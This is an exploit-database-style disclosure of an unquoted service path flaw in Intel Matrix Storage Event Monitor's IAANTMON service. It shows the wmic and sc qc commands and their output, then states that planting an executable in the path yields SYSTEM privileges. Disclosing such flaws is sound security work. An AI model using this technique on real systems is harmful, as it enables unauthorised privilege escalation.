# Exploit Title: Intel(R) Matrix Storage Event Monitor x86 8.0.0.1039 - 'IAANTMON' Unquoted Service Path
# Date: 2021-01-04
# Exploit Author: Geovanni Ruiz
# Vendor Homepage: https://www.intel.com
# Software Version: 8.0.0.1039
# File Version: 8.0.0.1039
# Tested on: Microsoft® Windows Vista Business 6.0.6001 Service Pack 1 x64es
# 1. To find the unquoted service path vulnerability
C:\>wmic service where 'name like "%IAANTMON%"' get name, displayname,
pathname, startmode, startname
DisplayName Name PathName
StartMode StartName
Intel(R) Matrix Storage Event Monitor IAANTMON C:\Program Files
(x86)\Intel\Intel Matrix Storage Manager\IAANTMon.exe Auto
LocalSystem
# 2. To check service info:
C:\>sc qc "IAANTMON"
[SC] QueryServiceConfig CORRECTO
NOMBRE_SERVICIO: IAANTMON
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 1 NORMAL
NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Intel\Intel Matrix
Storage Manager\IAANTMon.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : Intel(R) Matrix Storage Event Monitor
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem
# 3. Exploit:
To exploit this vulnerability an attacker requires to drop a malicious
executable into the service path undetected by the OS in order
to gain SYSTEM privileges.